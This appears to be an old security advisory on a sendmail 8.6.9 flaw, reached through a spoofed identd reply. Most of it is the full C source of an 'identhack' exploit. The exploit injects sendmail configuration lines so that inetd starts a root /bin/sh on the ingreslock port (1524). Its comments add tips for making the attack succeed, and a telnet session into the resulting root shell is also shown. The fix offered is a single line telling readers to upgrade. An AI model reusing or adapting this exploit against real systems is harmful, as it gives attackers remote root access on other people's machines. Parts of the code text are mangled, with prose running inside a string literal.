COMMAND
sendmail (with little help from ingres)
SYSTEMS AFFECTED
Systems running ingres and sendmail 8.6.9
PROBLEM
Khelbin Sunvold reported while working on a box running ingres
and trying telnet to port 1524 (ingreslock) he was dropped into a
root shell. In other words, he did following:
$ telnet <hostname> 1524
Trying XXX.XXX.XXX.XX...
Connected to <hostname>.
Escape character is '^]'.
sh: can't access tty; job control turned off
#
The shell did not recognize many commands in a traditional
manner. For instance, typing "ls" gave "command not found" and
"ls -l" gave the normal error message that ls would give if an
incorrent flag was given.
"ls -l *" did work and some other commands also worked if given
all the possible arguments but only in the current working
space...
But if You "ls -l &" instead of "ls -l *" it will work fine. Every
command could be run as root so long as You ran it in the
background.
Possible explanation is perhaps sendmail 8.6.9. Exploit below
shows why.
/* identhack - sendmail identd hack.
* Michael R. Widner - atreus (2/24/95)
* <widner@uchicago.edu> <atreus@primus.com>
*
* Make sure you don't do anything evil with this. That would be wrong.
*
* This is a real simple hacked identd that will return a string to abuse
* the sendmail 8.6.9 identd problem.
* NOTE: This hack only works when sendmail queues up the message for
* later delivery. This depends on the configuration of sendmail.cf and
* on the machine loading. If you can do something to drag the machine to
* its knees, then fire off this attack, you stand a much better chance of
* success.
*
* This should compile ok with just [g]cc -o identhack identhack.c
* Then add an appropriate entry in your inetd.conf and kill -HUP identd.
* ident stream tcp nowait root /tmp/identhack in.identd
* (identd port is 113, but hopefully your /etc/services knows that)
*
* Two noteworthy things: Most people configure their sendmail.cf with
* Og1 and Ou1 lines, setting the default user to bin.bin. I see no way
* to break root using this method if this is the case. bin seems like the
* best case scenario.
*/
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* TIMEOUT is the number of seconds to wait before closing the connection if
* the client doesn't provide the port pairs.
*/
#define TIMEOUT 120
/* PROCINFO_BUFFER_SIZE must be bigger than 80 */
#define OUTPUT_BUFFER_SIZE 2048
#define SOCKET_BUFFER_SIZE 100
unsigned short lport = 0, rport = 0;
void
main ()
{
unsigned long here, there;
struct fd_set fdset;
struct timeval timeout;
char buffer[OUTPUT_BUFFER_SIZE];
char inbuffer[SOCKET_BUFFER_SIZE];
int len;
int fd;
/* prepare to read ports */
FD_ZERO (&fdset);
FD_SET (0, &fdset);
timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;
/* read ports from stdin */
select (1, &fdset, NULL, NULL, &timeout);
len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
if (len <= 0)
exit (0);
FD_SET (0, &fdset);
sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
"atreus)\r\nCroot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c
$u\r\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo
ingreslock stream tcp nowait root /bin/sh /bin/sh >
/tmp/badfile\">\r\nR<\"|/usr/etc/inetd /tmp/badfile\">\r\n$rascii
The choice of commands to execute is virtually limitless. I
chose to startup a copy of inetd with /bin/sh answering on the
ingreslock port, which is 1524. I only chose this particular
port because it's in most /etc/services and sun inetd won't
accept port numbers here, only services defined in /etc/services
or services.byname if you're using yp. Of course the syntax will
vary by systems, as will the location of inetd. So an intruder
must at least know what type of system he's going after."); write
(1, buffer, strlen (buffer)); exit (0); }
SOLUTION
Upgrade your sendmail (look for the latest version).